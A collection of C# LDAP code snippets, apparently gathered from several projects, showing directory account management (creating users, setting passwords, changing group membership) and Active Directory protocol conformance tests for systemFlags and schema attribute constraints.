return uid; // Retornar el uid }
/// <summary> /// Send all pending changes to the directory service. If there is a pending rename / re-superior, /// it will fire first. /// </summary> /// <param name="ldap"></param> public void CommitChanges(LdapConnection ldap) { CheckForDeletion(); if (this.IsDnDirty) { ModifyDNRequest req = new ModifyDNRequest(); req.DistinguishedName = this.OriginalDn; req.NewName = this.RDN; logger.Info("Request new name {0}", req.NewName); req.DeleteOldRdn = true; if (this.IsSuperiorDirty) { req.NewParentDistinguishedName = this.SuperiorDn; logger.Info("Request new superior {0}", req.NewParentDistinguishedName); } ldap.SendRequest(req); this.IsDnDirty = false; this.IsSuperiorDirty = false; this.OriginalDn = this.DistinguishedName; } if (_changes.Count > 0) { if (this.IsNewEntry) { AddRequest req = new AddRequest(this.DistinguishedName); foreach (DirectoryAttributeModification dm in this.ChangesAsDAMC()) req.Attributes.Add(new DirectoryAttribute(dm.Name, dm.GetValues(typeof(string)))); ldap.SendRequest(req); } else { ModifyRequest req = new ModifyRequest(this.DistinguishedName); foreach (DirectoryAttributeModification dm in this.ChangesAsDAMC()) req.Modifications.Add(dm); ldap.SendRequest(req); } _changes.Clear(); this.IsNewEntry = false; logger.Info("Commit on {0} complete", this.DistinguishedName); } else { logger.Info("Nothing to commit on {0}", this.DistinguishedName); if (this.IsNewEntry) throw new InvalidOperationException( "Cannot commit a new directory object with no attributes"); } }
/// <summary> /// This method shows how to modify an attribute. /// </summary> /// <param name="oldUid">Old user UID</param> /// <param name="newUid">New user UID</param> public void changeUserUid(string oldUid, string newUid) { var oldDn = string.Format("uid={0},ou=users,dc=example,dc=com", oldUid); var newDn = string.Format("uid={0},ou=users,dc=example,dc=com", newUid); DirectoryRequest request = new ModifyDNRequest(oldDn, "ou=users,dc=example,dc=com", "uid=" + newUid); connection.SendRequest(request); request = new ModifyRequest(newDn, DirectoryAttributeOperation.Replace, "uid", new string[] { newUid }); connection.SendRequest(request); }
/// <summary> /// Crear un nuevo usuario en el ADAM /// </summary> /// <param name="loginName">Nombre de Login</param> /// <param name="fullName">Nombre y Apellido del usuario</param> /// <param name="password">Contraseña</param> /// <returns></returns> public ResultCode CreateUser(string loginName, string fullName, string password) { if (this.UserExist(loginName)) return ResultCode.EntryAlreadyExists; this.OpenConnection(); string dirClasstype = "user"; string userDN = string.Format("CN={0},{1}", loginName, this._usersDistinguishedName); AddRequest addNewUserRequest = new AddRequest(userDN, dirClasstype); AddResponse response = (AddResponse)this._adamConnection.SendRequest(addNewUserRequest); if (response.ResultCode != ResultCode.Success) return response.ResultCode; DirectoryAttributeModification attFullName = new DirectoryAttributeModification(); attFullName.Name = "givenName"; attFullName.Operation = DirectoryAttributeOperation.Add; attFullName.Add(fullName); DirectoryAttributeModification attPassword = new DirectoryAttributeModification(); attPassword.Name = "unicodePwd"; attPassword.Add(GetPasswordData(password)); attPassword.Operation = DirectoryAttributeOperation.Add; DirectoryAttributeModification attDisableAccount = new DirectoryAttributeModification(); attDisableAccount.Name = "msDS-UserAccountDisabled"; attDisableAccount.Add("FALSE"); attDisableAccount.Operation = DirectoryAttributeOperation.Replace; ModifyRequest modRequest = new ModifyRequest(userDN, attFullName, attPassword, attDisableAccount); ModifyResponse modResponse = (ModifyResponse)this._adamConnection.SendRequest(modRequest); if (modResponse.ResultCode != ResultCode.Success) return modResponse.ResultCode; this.CloseConnection(); return modResponse.ResultCode; }
private ResultCode ModifyUserInGroup(string userName, string groupName, DirectoryAttributeOperation operation) { if (!this.UserExist(userName)) return ResultCode.NoSuchObject; AdamUser user = this.GetUser(userName); if ((user.Groups.Contains(groupName) && operation == DirectoryAttributeOperation.Add)) return ResultCode.EntryAlreadyExists; else if ((!user.Groups.Contains(groupName) && operation == DirectoryAttributeOperation.Delete)) return ResultCode.NoSuchAttribute; string filter = string.Format("(&(objectClass=Group)(distinguishedName=CN={0},{1}))", groupName, this.GroupsDistinguishedName); this.OpenConnection(); SearchRequest srchRequestGroup = new SearchRequest(this.GroupsDistinguishedName, filter, SearchScope.Subtree); SearchResponse srchResponseGroup = (SearchResponse)this._adamConnection.SendRequest(srchRequestGroup); this.CloseConnection(); SearchResultEntry srchEntryGrp = srchResponseGroup.Entries[0]; string groupDN = srchEntryGrp.DistinguishedName; DirectoryAttributeModification addMod = new DirectoryAttributeModification(); addMod.Name = "member"; addMod.Add(user.DistinguishedName); addMod.Operation = operation; ModifyRequest modRequestAddUser = new ModifyRequest(groupDN, addMod); this.OpenConnection(); DirectoryResponse modResponseAdduser = this._adamConnection.SendRequest(modRequestAddUser); this.CloseConnection(); return modResponseAdduser.ResultCode; }
/// <summary> /// Establecer una nueva password para un usuario /// </summary> /// <param name="UserLogin">Login del usuario</param> /// <param name="newPassword">Nueva contraseña</param> /// <returns></returns> public ResultCode SetPassword(string UserLogin, string newPassword) { if (!this.UserExist(UserLogin)) return ResultCode.NoSuchObject; this.OpenConnection(); DirectoryAttributeModification modOperation = new DirectoryAttributeModification(); modOperation.Name = "unicodePwd"; modOperation.Add(GetPasswordData(newPassword)); modOperation.Operation = DirectoryAttributeOperation.Replace; string userDN = string.Format("CN={0},{1}", UserLogin, this._usersDistinguishedName); ModifyRequest request = new ModifyRequest(userDN, modOperation); DirectoryResponse response = this._adamConnection.SendRequest(request); this.CloseConnection(); return response.ResultCode; }
public bool ChangePassword(string userName, string oldPassword, string newPassword) { IDirectoryAttributes userEntry; using (var holder = GetConnectionForServiceUser()) { userEntry = LookupUserEntry(holder, userName); if (userEntry == null) throw new ApplicationException(string.Format("No object was found with the user name {0}.", userName)); } using (var holder = GetConnectionFor(userName, oldPassword, userEntry)) { if (!AuthenticateCore(holder)) return false; var request = new ModifyRequest(userEntry.DistinguishedName, DirectoryAttributeOperation.Replace, Directory.UserPasswordAttribute, newPassword); var response = holder.Connection.SendRequest(request) as ModifyResponse; AssertSuccess(response); } return true; }
public void LDAP_Add_Processing_Specifics_SystemFlags() { #region variables string siteObjDN = "CN=testSite,CN=Sites,CN=Configuration," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC; string serversContainerObjDN = "CN=testServers," + siteObjDN; string serverObjDN = "CN=testServer," + serversContainerObjDN; string ntdsSettingsObjDN = "CN=NTDS Settings," + serverObjDN; string nTDSConnection = "CN=testnTDSConnection," + ntdsSettingsObjDN; string ipObjDN = "CN=IP,CN=Inter-Site Transports,CN=Sites,CN=Configuration," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC; string siteLinkObjDN = "CN=testSiteLink," + ipObjDN; string siteLinkBridgeDN = "CN=testSiteLinkBridge," + ipObjDN; string subnetContainerObjDN = "CN=Subnets,CN=Sites,CN=Configuration," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC; string subnetObjDN = "CN=192.168.0.0/24," + subnetContainerObjDN; #endregion #region connect BaseTestSite.Assume.IsTrue(EnvironmentConfig.ServerVer >= ServerVersion.Win2012, "Server OS version should be not less than Windows Server 2012"); LdapConnection con = new LdapConnection(new LdapDirectoryIdentifier(AD_LDAPModelAdapter.Instance(Site).PDCIPAddress), new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName, AD_LDAPModelAdapter.Instance(Site).DomainUserPassword, AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName)); con.SessionOptions.Sealing = false; con.SessionOptions.Signing = false; #endregion #region Site Object ManagedAddRequest addReq = new ManagedAddRequest(siteObjDN, "site"); System.DirectoryServices.Protocols.AddResponse addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq); BaseTestSite.Assert.AreEqual <ResultCode>( ResultCode.Success, addRep.ResultCode, @"Add Site: {0} should succeed.", siteObjDN); System.DirectoryServices.Protocols.SearchRequest searchReq = new System.DirectoryServices.Protocols.SearchRequest( siteObjDN, "(objectClass=Site)", System.DirectoryServices.Protocols.SearchScope.Subtree, "systemFlags"); System.DirectoryServices.Protocols.SearchResponse searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq); DirectoryAttribute attr = searchRep.Entries[0].Attributes["systemFlags"]; object[] values = attr.GetValues(Type.GetType("System.String")); int flags = Convert.ToInt32(values[0], CultureInfo.InvariantCulture); BaseTestSite.Assert.AreEqual( SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE | SystemFlags.FLAG_CONFIG_ALLOW_RENAME, (SystemFlags)flags & (SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE | SystemFlags.FLAG_CONFIG_ALLOW_RENAME), @"The DC sets additional bits in the systemFlags value of the object created: site object: FLAG_DISALLOW_MOVE_ON_DELETE and FLAG_CONFIG_ALLOW_RENAME."); #endregion #region ServersContainer Object addReq = new ManagedAddRequest(serversContainerObjDN, "serversContainer"); addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq); BaseTestSite.Assert.AreEqual <ResultCode>( ResultCode.Success, addRep.ResultCode, @"Add ServersContainer: {0} should succeed.", serversContainerObjDN); searchReq = new System.DirectoryServices.Protocols.SearchRequest( serversContainerObjDN, "(objectClass=serversContainer)", System.DirectoryServices.Protocols.SearchScope.Subtree, "systemFlags"); searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq); attr = searchRep.Entries[0].Attributes["systemFlags"]; values = attr.GetValues(Type.GetType("System.String")); flags = Convert.ToInt32(values[0], CultureInfo.InvariantCulture); BaseTestSite.Assert.AreEqual( SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE, (SystemFlags)flags & SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE, @"The DC sets additional bits in the systemFlags value of the object created: serversContainer object: FLAG_DISALLOW_MOVE_ON_DELETE."); #endregion #region Server Object addReq = new ManagedAddRequest(serverObjDN, "server"); addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq); BaseTestSite.Assert.AreEqual <ResultCode>( ResultCode.Success, addRep.ResultCode, @"Add server: {0} should succeed.", serverObjDN); searchReq = new System.DirectoryServices.Protocols.SearchRequest( serverObjDN, "(objectClass=server)", System.DirectoryServices.Protocols.SearchScope.Subtree, "systemFlags"); searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq); attr = searchRep.Entries[0].Attributes["systemFlags"]; values = attr.GetValues(Type.GetType("System.String")); flags = Convert.ToInt32(values[0], CultureInfo.InvariantCulture); BaseTestSite.Assert.AreEqual( SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE | SystemFlags.FLAG_CONFIG_ALLOW_RENAME | SystemFlags.FLAG_CONFIG_ALLOW_LIMITED_MOVE, (SystemFlags)flags & (SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE | SystemFlags.FLAG_CONFIG_ALLOW_RENAME | SystemFlags.FLAG_CONFIG_ALLOW_LIMITED_MOVE), @"The DC sets additional bits in the systemFlags value of the object created: server object: FLAG_DISALLOW_MOVE_ON_DELETE, FLAG_CONFIG_ALLOW_RENAME, and FLAG_CONFIG_ALLOW_LIMITED_MOVE."); #endregion #region nTDSDSA Object System.DirectoryServices.Protocols.ModifyRequest modReq = new System.DirectoryServices.Protocols.ModifyRequest("", DirectoryAttributeOperation.Add, "schemaupgradeinprogress", "1"); System.DirectoryServices.Protocols.ModifyResponse modRep = (System.DirectoryServices.Protocols.ModifyResponse)con.SendRequest(modReq); BaseTestSite.Assert.AreEqual <ResultCode>(ResultCode.Success, modRep.ResultCode, "Should return success when set SchemaUpgradeInProgress to 1"); addReq = new ManagedAddRequest(ntdsSettingsObjDN, "nTDSDSA"); addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq); BaseTestSite.Assert.AreEqual <ResultCode>( ResultCode.Success, addRep.ResultCode, @"Add nTDSDSA: {0} should succeed.", ntdsSettingsObjDN); searchReq = new System.DirectoryServices.Protocols.SearchRequest( ntdsSettingsObjDN, "(objectClass=nTDSDSA)", System.DirectoryServices.Protocols.SearchScope.Subtree, "systemFlags"); searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq); attr = searchRep.Entries[0].Attributes["systemFlags"]; values = attr.GetValues(Type.GetType("System.String")); flags = Convert.ToInt32(values[0], CultureInfo.InvariantCulture); BaseTestSite.Assert.AreEqual( SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE, (SystemFlags)flags & (SystemFlags.FLAG_DISALLOW_MOVE_ON_DELETE), @"The DC sets additional bits in the systemFlags value of the object created: nTDSDSA object: FLAG_DISALLOW_MOVE_ON_DELETE."); #endregion #region nTDSConnection Object addReq = new ManagedAddRequest(nTDSConnection, "nTDSConnection"); addReq.Attributes.Add(new DirectoryAttribute("options", "1")); addReq.Attributes.Add(new DirectoryAttribute("fromServer", ntdsSettingsObjDN)); addReq.Attributes.Add(new DirectoryAttribute("enabledConnection", "TRUE")); addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq); BaseTestSite.Assert.AreEqual <ResultCode>( ResultCode.Success, addRep.ResultCode, @"Add nTDSConnection: {0} should succeed.", nTDSConnection); searchReq = new System.DirectoryServices.Protocols.SearchRequest( nTDSConnection, "(objectClass=nTDSConnection)", System.DirectoryServices.Protocols.SearchScope.Subtree, "systemFlags"); searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq); attr = searchRep.Entries[0].Attributes["systemFlags"]; values = attr.GetValues(Type.GetType("System.String")); flags = Convert.ToInt32(values[0], CultureInfo.InvariantCulture); BaseTestSite.Assert.AreEqual( SystemFlags.FLAG_CONFIG_ALLOW_RENAME, (SystemFlags)flags & (SystemFlags.FLAG_CONFIG_ALLOW_RENAME), @"The DC sets additional bits in the systemFlags value of the object created: nTDSConnection object: FLAG_CONFIG_ALLOW_RENAME."); #endregion #region SiteLink Object addReq = new ManagedAddRequest(siteLinkObjDN, "siteLink"); addReq.Attributes.Add(new DirectoryAttribute("siteList", siteObjDN)); addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq); BaseTestSite.Assert.AreEqual <ResultCode>( ResultCode.Success, addRep.ResultCode, @"Add SiteLink: {0} should succeed.", siteLinkObjDN); searchReq = new System.DirectoryServices.Protocols.SearchRequest( siteLinkObjDN, "(objectClass=SiteLink)", System.DirectoryServices.Protocols.SearchScope.Subtree, "systemFlags"); searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq); attr = searchRep.Entries[0].Attributes["systemFlags"]; values = attr.GetValues(Type.GetType("System.String")); flags = Convert.ToInt32(values[0], CultureInfo.InvariantCulture); BaseTestSite.Assert.AreEqual( SystemFlags.FLAG_CONFIG_ALLOW_RENAME, (SystemFlags)flags & SystemFlags.FLAG_CONFIG_ALLOW_RENAME, @"The DC sets additional bits in the systemFlags value of the object created: siteLink object: FLAG_CONFIG_ALLOW_RENAME."); #endregion #region SiteLinkBridge Object addReq = new ManagedAddRequest(siteLinkBridgeDN, "siteLinkBridge"); addReq.Attributes.Add(new DirectoryAttribute("siteLinkList", siteLinkObjDN)); addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq); BaseTestSite.Assert.AreEqual <ResultCode>( ResultCode.Success, addRep.ResultCode, @"Add SiteLinkBridge: {0} should succeed.", siteLinkBridgeDN); searchReq = new System.DirectoryServices.Protocols.SearchRequest( siteLinkBridgeDN, "(objectClass=SiteLinkBridge)", System.DirectoryServices.Protocols.SearchScope.Subtree, "systemFlags"); searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq); attr = searchRep.Entries[0].Attributes["systemFlags"]; values = attr.GetValues(Type.GetType("System.String")); flags = Convert.ToInt32(values[0], CultureInfo.InvariantCulture); BaseTestSite.Assert.AreEqual( SystemFlags.FLAG_CONFIG_ALLOW_RENAME, (SystemFlags)flags & SystemFlags.FLAG_CONFIG_ALLOW_RENAME, @"The DC sets additional bits in the systemFlags value of the object created: siteLinkBridge object: FLAG_CONFIG_ALLOW_RENAME."); #endregion #region not above Object with Subnets Container Parent addReq = new ManagedAddRequest(subnetObjDN, "subnet"); addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq); BaseTestSite.Assert.AreEqual <ResultCode>( ResultCode.Success, addRep.ResultCode, @"Add subnet: {0} should succeed.", subnetObjDN); searchReq = new System.DirectoryServices.Protocols.SearchRequest( subnetObjDN, "(objectClass=Subnet)", System.DirectoryServices.Protocols.SearchScope.Subtree, "systemFlags"); searchRep = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(searchReq); attr = searchRep.Entries[0].Attributes["systemFlags"]; values = attr.GetValues(Type.GetType("System.String")); flags = Convert.ToInt32(values[0], CultureInfo.InvariantCulture); BaseTestSite.Assert.AreEqual( SystemFlags.FLAG_CONFIG_ALLOW_RENAME, (SystemFlags)flags & SystemFlags.FLAG_CONFIG_ALLOW_RENAME, @"The DC sets additional bits in the systemFlags value of the object created: subnet object: FLAG_CONFIG_ALLOW_RENAME."); #endregion #region not above Object with Sites Container Parent except the Subnets Container and the Inter-Site-Transports Container #endregion #region clean up System.DirectoryServices.Protocols.DeleteRequest delReq = new System.DirectoryServices.Protocols.DeleteRequest(siteObjDN); delReq.Controls.Add(new TreeDeleteControl()); System.DirectoryServices.Protocols.DeleteResponse delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq); delReq = new System.DirectoryServices.Protocols.DeleteRequest(siteLinkObjDN); delReq.Controls.Add(new TreeDeleteControl()); delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq); delReq = new System.DirectoryServices.Protocols.DeleteRequest(siteLinkBridgeDN); delReq.Controls.Add(new TreeDeleteControl()); delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq); delReq = new System.DirectoryServices.Protocols.DeleteRequest(subnetObjDN); delReq.Controls.Add(new TreeDeleteControl()); delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq); #endregion }
public void LDAP_Modify_EnforceSchemaConstrains_Range() { #region variables //set employeeID attribute out of range, upperRange is 16 const int upperRange = 16; string attrName = "employeeID"; string attrValueOutOfRange = new string('1', upperRange + 10); string userName = "******"; string userDN = "CN=" + userName + ",CN=users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC; int errorCode; bool failed = false; #endregion #region connect BaseTestSite.Assume.IsTrue(EnvironmentConfig.ServerVer >= ServerVersion.Win2012, "Server OS version should be not less than Windows Server 2012"); string addr = AD_LDAPModelAdapter.Instance(Site).PDCIPAddress; string port = AD_LDAPModelAdapter.Instance(Site).ADDSPortNum; LdapConnection con = new LdapConnection(new LdapDirectoryIdentifier(addr, int.Parse(port)), new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName, AD_LDAPModelAdapter.Instance(Site).DomainUserPassword, AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName)); con.SessionOptions.Sealing = false; con.SessionOptions.Signing = false; #endregion #region Modify Enforce Schema Constraints RangeUpper if (!Utilities.IsObjectExist(userDN, addr, port)) { ManagedAddRequest addReq = new ManagedAddRequest(userDN, "user"); System.DirectoryServices.Protocols.AddResponse addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq); } System.DirectoryServices.Protocols.ModifyRequest modReq = new System.DirectoryServices.Protocols.ModifyRequest( userDN, DirectoryAttributeOperation.Add, attrName, attrValueOutOfRange); System.DirectoryServices.Protocols.ModifyResponse modRep = null; try { modRep = (System.DirectoryServices.Protocols.ModifyResponse)con.SendRequest(modReq); } catch (DirectoryOperationException e) { if (e.Response.ResultCode == ResultCode.ConstraintViolation) { errorCode = int.Parse(e.Response.ErrorMessage.Split(':')[0], System.Globalization.NumberStyles.AllowHexSpecifier, CultureInfo.InvariantCulture); if ((Win32ErrorCode_32)errorCode == Win32ErrorCode_32.ERROR_DS_RANGE_CONSTRAINT) { failed = true; } } } BaseTestSite.Assert.IsTrue( failed, @"All attribute values must be compliant with the rangeUpper and rangeLower constraints of the schema (see section 3.1.1.2.3). If a supplied value violates a rangeUpper or rangeLower constraint, then the Add fails with constraintViolation / ERROR_DS_RANGE_CONSTRAINT."); #endregion #region delete the test user System.DirectoryServices.Protocols.DeleteRequest delReq = new System.DirectoryServices.Protocols.DeleteRequest(userDN); System.DirectoryServices.Protocols.DeleteResponse delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq); #endregion }
public void LDAP_AD_DS_Modify_Constraints_DisallowedAttributes() { #region variables //The values of the attributes are not important, but should be complied with the attribute syntax string attrValue = "100"; int attrNum; int errorCode; bool failed = false; string userName = "******"; string userDN = "CN=" + userName + ",CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC; string groupName = "tempGroup"; string groupDN = "CN=" + groupName + ",CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC; string testObjName = "tempObj"; string testObjDN = "CN=" + testObjName + ",CN=Users," + AD_LDAPModelAdapter.Instance(Site).rootDomainNC; #endregion #region connect BaseTestSite.Assume.IsTrue(EnvironmentConfig.ServerVer >= ServerVersion.Win2012, "Server OS version should be not less than Windows Server 2012"); string addr = AD_LDAPModelAdapter.Instance(Site).PDCIPAddress; string port = AD_LDAPModelAdapter.Instance(Site).ADDSPortNum; LdapConnection con = new LdapConnection( new LdapDirectoryIdentifier(addr, int.Parse(port)), new NetworkCredential(AD_LDAPModelAdapter.Instance(Site).DomainAdministratorName, AD_LDAPModelAdapter.Instance(Site).DomainUserPassword, AD_LDAPModelAdapter.Instance(Site).PrimaryDomainDnsName)); con.SessionOptions.Sealing = false; con.SessionOptions.Signing = false; #endregion #region Add a user, a group and a non SAM-specific object(classStore) to test modify constraints if (!Utilities.IsObjectExist(userDN, addr, port)) { ManagedAddRequest addReq = new ManagedAddRequest(userDN, "user"); System.DirectoryServices.Protocols.AddResponse addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq); } if (!Utilities.IsObjectExist(groupDN, addr, port)) { ManagedAddRequest addReq = new ManagedAddRequest(groupDN, "group"); System.DirectoryServices.Protocols.AddResponse addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq); } if (!Utilities.IsObjectExist(testObjDN, addr, port)) { ManagedAddRequest addReq = new ManagedAddRequest(testObjDN, "classStore"); System.DirectoryServices.Protocols.AddResponse addRep = (System.DirectoryServices.Protocols.AddResponse)con.SendRequest(addReq); } #endregion #region Modify constraint for class user attrNum = 15; System.DirectoryServices.Protocols.DirectoryAttributeModification[] modAttr1 = new DirectoryAttributeModification[attrNum]; for (int i = 0; i < attrNum; i++) { modAttr1[i] = new DirectoryAttributeModification(); modAttr1[i].Operation = DirectoryAttributeOperation.Replace; modAttr1[i].Add(attrValue); } modAttr1[0].Name = "badPasswordTime"; modAttr1[1].Name = "badPwdCount"; modAttr1[2].Name = "dBCSPwd"; modAttr1[3].Name = "lastLogoff"; modAttr1[4].Name = "lastLogon"; modAttr1[5].Name = "lastLogonTimestamp"; modAttr1[6].Name = "lmPwdHistory"; modAttr1[7].Name = "logonCount"; modAttr1[8].Name = "memberOf"; modAttr1[9].Name = "msDS-User-Account-Control-Computed"; modAttr1[10].Name = "ntPwdHistory"; modAttr1[11].Name = "rid"; modAttr1[12].Name = "sAMAccountType"; modAttr1[13].Name = "supplementalCredentials"; modAttr1[14].Name = "isCriticalSystemObject"; modAttr1[14].Clear(); modAttr1[14].Add("TRUE"); for (int i = 0; i < attrNum; i++) { System.DirectoryServices.Protocols.ModifyRequest modReq = new System.DirectoryServices.Protocols.ModifyRequest(userDN, modAttr1[i]); System.DirectoryServices.Protocols.ModifyResponse modRep = null; try { modRep = (System.DirectoryServices.Protocols.ModifyResponse)con.SendRequest(modReq); } catch (DirectoryOperationException e) { if (e.Response.ResultCode == ResultCode.UnwillingToPerform) { errorCode = int.Parse(e.Response.ErrorMessage.Split(':')[0], System.Globalization.NumberStyles.AllowHexSpecifier, CultureInfo.InvariantCulture); if ((Win32ErrorCode_32)errorCode == Win32ErrorCode_32.ERROR_DS_ATTRIBUTE_OWNED_BY_SAM) { failed = true; } } } BaseTestSite.Assert.IsTrue( failed, @"In AD DS, the following attributes are disallowed in a Modify for an object of class user: badPasswordTime, badPwdCount, dBCSPwd, isCriticalSystemObject, lastLogoff, lastLogon, lastLogonTimestamp, lmPwdHistory, logonCount, memberOf, msDS-User-Account-Control-Computed, ntPwdHistory, objectSid, rid, sAMAccountType, and supplementalCredentials. If one of these attributes is specified in an Add, the Add returns unwillingToPerform / ERROR_DS_ATTRIBUTE_OWNED_BY_SAM."); failed = false; } #endregion #region Modify constraint for class group attrNum = 5; System.DirectoryServices.Protocols.DirectoryAttributeModification[] modAttr2 = new DirectoryAttributeModification[attrNum]; for (int i = 0; i < attrNum; i++) { modAttr2[i] = new DirectoryAttributeModification(); modAttr2[i].Operation = DirectoryAttributeOperation.Replace; modAttr2[i].Add(attrValue); } modAttr2[0].Name = "memberOf"; modAttr2[1].Name = "rid"; modAttr2[1].Clear(); modAttr2[1].Add("512"); modAttr2[2].Name = "sAMAccountType"; modAttr2[2].Clear(); modAttr2[2].Add("805306370"); modAttr2[3].Name = "userPassword"; modAttr2[4].Name = "isCriticalSystemObject"; modAttr2[4].Clear(); modAttr2[4].Add("TRUE"); for (int i = 0; i < attrNum; i++) { System.DirectoryServices.Protocols.ModifyRequest modReq = new System.DirectoryServices.Protocols.ModifyRequest(groupDN, modAttr2[i]); System.DirectoryServices.Protocols.ModifyResponse modRep = null; try { modRep = (System.DirectoryServices.Protocols.ModifyResponse)con.SendRequest(modReq); } catch (DirectoryOperationException e) { if (e.Response.ResultCode == ResultCode.UnwillingToPerform) { errorCode = int.Parse(e.Response.ErrorMessage.Split(':')[0], System.Globalization.NumberStyles.AllowHexSpecifier, CultureInfo.InvariantCulture); if ((Win32ErrorCode_32)errorCode == Win32ErrorCode_32.ERROR_DS_ATTRIBUTE_OWNED_BY_SAM) { failed = true; } } } BaseTestSite.Assert.IsTrue( failed, @"In AD DS, the following attributes are disallowed in a Modify for an object of class group: isCriticalSystemObject, memberOf, objectSid, rid, sAMAccountType, and userPassword. If one of these attributes is specified in an Add, the Add returns unwillingToPerform / ERROR_DS_ATTRIBUTE_OWNED_BY_SAM."); failed = false; } #endregion #region Modify constraint for class not a SAM-specific object class attrNum = 7; System.DirectoryServices.Protocols.DirectoryAttributeModification[] modAttr3 = new DirectoryAttributeModification[attrNum]; for (int i = 0; i < attrNum; i++) { modAttr3[i] = new DirectoryAttributeModification(); modAttr3[i].Operation = DirectoryAttributeOperation.Replace; modAttr3[i].Add(attrValue); } modAttr3[0].Name = "lmPwdHistory"; modAttr3[1].Name = "ntPwdHistory"; modAttr3[2].Name = "samAccountName"; modAttr3[3].Name = "sAMAccountType"; modAttr3[3].Clear(); modAttr3[3].Add("805306370"); modAttr3[4].Name = "supplementalCredentials"; modAttr3[5].Name = "unicodePwd"; modAttr3[6].Name = "isCriticalSystemObject"; modAttr3[6].Clear(); modAttr3[6].Add("TRUE"); for (int i = 0; i < attrNum; i++) { System.DirectoryServices.Protocols.ModifyRequest modReq = new System.DirectoryServices.Protocols.ModifyRequest(testObjDN, modAttr3[i]); System.DirectoryServices.Protocols.ModifyResponse modRep = null; try { modRep = (System.DirectoryServices.Protocols.ModifyResponse)con.SendRequest(modReq); } catch (DirectoryOperationException e) { if (e.Response.ResultCode == ResultCode.UnwillingToPerform) { errorCode = int.Parse(e.Response.ErrorMessage.Split(':')[0], System.Globalization.NumberStyles.AllowHexSpecifier, CultureInfo.InvariantCulture); if ((Win32ErrorCode_32)errorCode == Win32ErrorCode_32.ERROR_DS_ILLEGAL_MOD_OPERATION) { failed = true; } } } BaseTestSite.Assert.IsTrue( failed, @"In AD DS, the following attributes are disallowed in an Add for an object whose class is not a SAM-specific object class (see 3.1.1.5.2.3): isCriticalSystemObject, lmPwdHistory, ntPwdHistory, objectSid, samAccountName, sAMAccountType, supplementalCredentials, and unicodePwd. If one of these attributes is specified in an Add, the Add returns unwillingToPerform / ERROR_DS_ILLEGAL_MOD_OPERATION."); failed = false; } #endregion #region Delete all the test user, groups and not SAM-specific objects System.DirectoryServices.Protocols.DeleteRequest delReq = new System.DirectoryServices.Protocols.DeleteRequest(userDN); System.DirectoryServices.Protocols.DeleteResponse delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq); delReq = new System.DirectoryServices.Protocols.DeleteRequest(groupDN); delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq); delReq = new System.DirectoryServices.Protocols.DeleteRequest(testObjDN); delRep = (System.DirectoryServices.Protocols.DeleteResponse)con.SendRequest(delReq); #endregion }
public static bool SetPassword(LdapConnection connection, string userDN, string newPassword, bool dryRun = false) { DirectoryAttributeModification addMod = new DirectoryAttributeModification(); addMod.Name = "unicodePwd"; addMod.Add(Encoding.Unicode.GetBytes("\"" + newPassword + "\"")); addMod.Operation = DirectoryAttributeOperation.Replace; ModifyRequest request = new ModifyRequest(userDN, addMod); try { if (!dryRun) { DirectoryResponse response = connection.SendRequest(request); return response.ResultCode == 0; } else { return true; } } catch (DirectoryOperationException ex) { if (ex.Response.ErrorMessage.StartsWith("0000052D")) { throw new Exception("Unable to update the password. The value provided for the new password does not meet the length, complexity, or history requirements of the domain."); } else { throw; } } }
